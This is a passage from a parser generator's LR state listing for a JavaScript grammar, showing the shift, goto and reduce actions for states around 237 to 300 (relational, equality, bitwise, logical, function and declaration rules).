INSTANCEOF _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 355 - -state 238 - - 130) RelationalExpr : RelationalExpr IN _ ShiftExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 356 - -state 239 - - 145) EqualityExpr : EqualityExpr EQEQ _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 357 - -state 240 - - 146) EqualityExpr : EqualityExpr NE _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 358 - -state 241 - - 147) EqualityExpr : EqualityExpr STREQ _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 359 - -state 242 - - 148) EqualityExpr : EqualityExpr STRNEQ _ RelationalExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 360 - -state 243 - - 160) BitwiseANDExpr : BitwiseANDExpr "&" _ EqualityExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 361 - -state 244 - - 166) BitwiseXORExpr : BitwiseXORExpr "^" _ BitwiseANDExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 362 - -state 245 - - 172) BitwiseORExpr : BitwiseORExpr "|" _ BitwiseXORExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 363 - -state 246 - - 178) LogicalANDExpr : LogicalANDExpr AND _ BitwiseORExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 364 - -state 247 - - 184) LogicalORExpr : LogicalORExpr OR _ LogicalANDExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 140 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 365 - -state 248 - - 190) ConditionalExpr : LogicalORExpr "?" _ AssignmentExpr ":" AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - AssignmentExpr go to state 366 - ConditionalExpr go to state 109 - -state 249 - - 287) FunctionExpr : FUNCTION "(" _ ")" "{" FunctionBody "}" - 288) FunctionExpr : FUNCTION "(" _ FormalParameterList ")" "{" FunctionBody "}" - - IDENT shift, and go to state 369 - ")" shift, and go to state 367 - - FormalParameterList go to state 368 - -state 250 - - 289) FunctionExpr : FUNCTION IDENT _ "(" ")" "{" FunctionBody "}" - 290) FunctionExpr : FUNCTION IDENT _ "(" FormalParameterList ")" "{" FunctionBody "}" - - "(" shift, and go to state 370 - - -state 251 - - 45) ArrayLiteral : "[" ElisionOpt "]" _ - - $default reduce using rule 45 (ArrayLiteral) - - -state 252 - - 48) ElementList : ElisionOpt AssignmentExpr _ - - $default reduce using rule 48 (ElementList) - - -state 253 - - 46) ArrayLiteral : "[" ElementList "]" _ - - $default reduce using rule 46 (ArrayLiteral) - - -state 254 - - 47) ArrayLiteral : "[" ElementList "," _ ElisionOpt "]" - 49) ElementList : ElementList "," _ ElisionOpt AssignmentExpr - - "," shift, and go to state 115 - $default reduce using rule 50 (ElisionOpt) - - ElisionOpt go to state 371 - Elision go to state 114 - -state 255 - - 53) Elision : Elision "," _ - - $default reduce using rule 53 (Elision) - - -state 256 - - 60) MemberExprNoBF : MemberExprNoBF "[" Expr _ "]" - 214) Expr : Expr _ "," AssignmentExpr - - "," shift, and go to state 213 - "]" shift, and go to state 372 - - -state 257 - - 61) MemberExprNoBF : MemberExprNoBF "." IDENT _ - - $default reduce using rule 61 (MemberExprNoBF) - - -state 258 - - 75) Arguments : "(" ")" _ - - $default reduce using rule 75 (Arguments) - - -state 259 - - 76) Arguments : "(" ArgumentList _ ")" - 78) ArgumentList : ArgumentList _ "," AssignmentExpr - - ")" shift, and go to state 373 - "," shift, and go to state 374 - - -state 260 - - 77) ArgumentList : AssignmentExpr _ - - $default reduce using rule 77 (ArgumentList) - - -state 261 - - 62) MemberExprNoBF : NEW MemberExpr Arguments _ - - $default reduce using rule 62 (MemberExprNoBF) - - -state 262 - - 73) CallExprNoBF : CallExprNoBF "[" Expr _ "]" - 214) Expr : Expr _ "," AssignmentExpr - - "," shift, and go to state 213 - "]" shift, and go to state 375 - - -state 263 - - 74) CallExprNoBF : CallExprNoBF "." IDENT _ - - $default reduce using rule 74 (CallExprNoBF) - - -state 264 - - 200) AssignmentExprNoBF : LeftHandSideExprNoBF AssignmentOperator AssignmentExpr _ - - $default reduce using rule 200 (AssignmentExprNoBF) - - -state 265 - - 107) MultiplicativeExprNoBF : MultiplicativeExprNoBF "*" UnaryExpr _ - - $default reduce using rule 107 (MultiplicativeExprNoBF) - - -state 266 - - 108) MultiplicativeExprNoBF : MultiplicativeExprNoBF "/" UnaryExpr _ - - $default reduce using rule 108 (MultiplicativeExprNoBF) - - -state 267 - - 109) MultiplicativeExprNoBF : MultiplicativeExprNoBF "%" UnaryExpr _ - - $default reduce using rule 109 (MultiplicativeExprNoBF) - - -state 268 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 114) AdditiveExprNoBF : AdditiveExprNoBF "+" MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 114 (AdditiveExprNoBF) - - -state 269 - - 103) MultiplicativeExpr : MultiplicativeExpr _ "*" UnaryExpr - 104) MultiplicativeExpr : MultiplicativeExpr _ "/" UnaryExpr - 105) MultiplicativeExpr : MultiplicativeExpr _ "%" UnaryExpr - 115) AdditiveExprNoBF : AdditiveExprNoBF "-" MultiplicativeExpr _ - - "*" shift, and go to state 225 - "/" shift, and go to state 226 - "%" shift, and go to state 227 - $default reduce using rule 115 (AdditiveExprNoBF) - - -state 270 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 121) ShiftExprNoBF : ShiftExprNoBF LSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 121 (ShiftExprNoBF) - - -state 271 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 122) ShiftExprNoBF : ShiftExprNoBF RSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 122 (ShiftExprNoBF) - - -state 272 - - 111) AdditiveExpr : AdditiveExpr _ "+" MultiplicativeExpr - 112) AdditiveExpr : AdditiveExpr _ "-" MultiplicativeExpr - 123) ShiftExprNoBF : ShiftExprNoBF URSHIFT AdditiveExpr _ - - "+" shift, and go to state 228 - "-" shift, and go to state 229 - $default reduce using rule 123 (ShiftExprNoBF) - - -state 273 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 138) RelationalExprNoBF : RelationalExprNoBF "<" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 138 (RelationalExprNoBF) - - -state 274 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 139) RelationalExprNoBF : RelationalExprNoBF ">" ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 139 (RelationalExprNoBF) - - -state 275 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 140) RelationalExprNoBF : RelationalExprNoBF LE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 140 (RelationalExprNoBF) - - -state 276 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 141) RelationalExprNoBF : RelationalExprNoBF GE ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 141 (RelationalExprNoBF) - - -state 277 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 142) RelationalExprNoBF : RelationalExprNoBF INSTANCEOF ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 142 (RelationalExprNoBF) - - -state 278 - - 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr - 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr - 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr - 143) RelationalExprNoBF : RelationalExprNoBF IN ShiftExpr _ - - LSHIFT shift, and go to state 230 - RSHIFT shift, and go to state 231 - URSHIFT shift, and go to state 232 - $default reduce using rule 143 (RelationalExprNoBF) - - -state 279 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 155) EqualityExprNoBF : EqualityExprNoBF EQEQ RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 155 (EqualityExprNoBF) - - -state 280 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 156) EqualityExprNoBF : EqualityExprNoBF NE RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 156 (EqualityExprNoBF) - - -state 281 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 157) EqualityExprNoBF : EqualityExprNoBF STREQ RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 157 (EqualityExprNoBF) - - -state 282 - - 125) RelationalExpr : RelationalExpr _ "<" ShiftExpr - 126) RelationalExpr : RelationalExpr _ ">" ShiftExpr - 127) RelationalExpr : RelationalExpr _ LE ShiftExpr - 128) RelationalExpr : RelationalExpr _ GE ShiftExpr - 129) RelationalExpr : RelationalExpr _ INSTANCEOF ShiftExpr - 130) RelationalExpr : RelationalExpr _ IN ShiftExpr - 158) EqualityExprNoBF : EqualityExprNoBF STRNEQ RelationalExpr _ - - IN shift, and go to state 238 - INSTANCEOF shift, and go to state 237 - LE shift, and go to state 235 - GE shift, and go to state 236 - "<" shift, and go to state 233 - ">" shift, and go to state 234 - $default reduce using rule 158 (EqualityExprNoBF) - - -state 283 - - 145) EqualityExpr : EqualityExpr _ EQEQ RelationalExpr - 146) EqualityExpr : EqualityExpr _ NE RelationalExpr - 147) EqualityExpr : EqualityExpr _ STREQ RelationalExpr - 148) EqualityExpr : EqualityExpr _ STRNEQ RelationalExpr - 164) BitwiseANDExprNoBF : BitwiseANDExprNoBF "&" EqualityExpr _ - - EQEQ shift, and go to state 239 - NE shift, and go to state 240 - STREQ shift, and go to state 241 - STRNEQ shift, and go to state 242 - $default reduce using rule 164 (BitwiseANDExprNoBF) - - -state 284 - - 160) BitwiseANDExpr : BitwiseANDExpr _ "&" EqualityExpr - 170) BitwiseXORExprNoBF : BitwiseXORExprNoBF "^" BitwiseANDExpr _ - - "&" shift, and go to state 243 - $default reduce using rule 170 (BitwiseXORExprNoBF) - - -state 285 - - 166) BitwiseXORExpr : BitwiseXORExpr _ "^" BitwiseANDExpr - 176) BitwiseORExprNoBF : BitwiseORExprNoBF "|" BitwiseXORExpr _ - - "^" shift, and go to state 244 - $default reduce using rule 176 (BitwiseORExprNoBF) - - -state 286 - - 172) BitwiseORExpr : BitwiseORExpr _ "|" BitwiseXORExpr - 182) LogicalANDExprNoBF : LogicalANDExprNoBF AND BitwiseORExpr _ - - "|" shift, and go to state 245 - $default reduce using rule 182 (LogicalANDExprNoBF) - - -state 287 - - 178) LogicalANDExpr : LogicalANDExpr _ AND BitwiseORExpr - 188) LogicalORExprNoBF : LogicalORExprNoBF OR LogicalANDExpr _ - - AND shift, and go to state 246 - $default reduce using rule 188 (LogicalORExprNoBF) - - -state 288 - - 194) ConditionalExprNoBF : LogicalORExprNoBF "?" AssignmentExpr _ ":" AssignmentExpr - - ":" shift, and go to state 376 - - -state 289 - - 218) ExprNoBF : ExprNoBF "," AssignmentExpr _ - - $default reduce using rule 218 (ExprNoBF) - - -state 290 - - 219) Block : "{" SourceElements "}" _ - - $default reduce using rule 219 (Block) - - -state 291 - - 220) VariableStatement : VAR VariableDeclarationList ";" _ - - $default reduce using rule 220 (VariableStatement) - - -state 292 - - 221) VariableStatement : VAR VariableDeclarationList error _ - - $default reduce using rule 221 (VariableStatement) - - -state 293 - - 223) VariableDeclarationList : VariableDeclarationList "," _ VariableDeclaration - - IDENT shift, and go to state 180 - - VariableDeclaration go to state 377 - -state 294 - - 227) VariableDeclaration : IDENT Initializer _ - - $default reduce using rule 227 (VariableDeclaration) - - -state 295 - - 236) Initializer : "=" _ AssignmentExpr - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - DELETE shift, and go to state 40 - FUNCTION shift, and go to state 111 - NEW shift, and go to state 92 - THIS shift, and go to state 28 - TYPEOF shift, and go to state 42 - VOID shift, and go to state 41 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 87 - "(" shift, and go to state 32 - "{" shift, and go to state 86 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - - PrimaryExprNoBrace go to state 85 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExpr go to state 89 - FunctionExpr go to state 90 - MemberExpr go to state 91 - CallExpr go to state 93 - NewExpr go to state 94 - LeftHandSideExpr go to state 95 - PostfixExpr go to state 96 - UnaryExprCommon go to state 97 - UnaryExpr go to state 98 - MultiplicativeExpr go to state 99 - AdditiveExpr go to state 100 - ShiftExpr go to state 101 - RelationalExpr go to state 102 - EqualityExpr go to state 103 - BitwiseANDExpr go to state 104 - BitwiseXORExpr go to state 105 - BitwiseORExpr go to state 106 - LogicalANDExpr go to state 107 - LogicalORExpr go to state 108 - ConditionalExpr go to state 109 - AssignmentExpr go to state 378 - -state 296 - - 230) ConstStatement : CONST ConstDeclarationList ";" _ - - $default reduce using rule 230 (ConstStatement) - - -state 297 - - 231) ConstStatement : CONST ConstDeclarationList error _ - - $default reduce using rule 231 (ConstStatement) - - -state 298 - - 233) ConstDeclarationList : ConstDeclarationList "," _ ConstDeclaration - - IDENT shift, and go to state 183 - - ConstDeclaration go to state 379 - -state 299 - - 235) ConstDeclaration : IDENT Initializer _ - - $default reduce using rule 235 (ConstDeclaration) - - -state 300 - - 214) Expr : Expr _ "," AssignmentExpr - 241) IfStatement : IF "(" Expr _ ")" Statement - 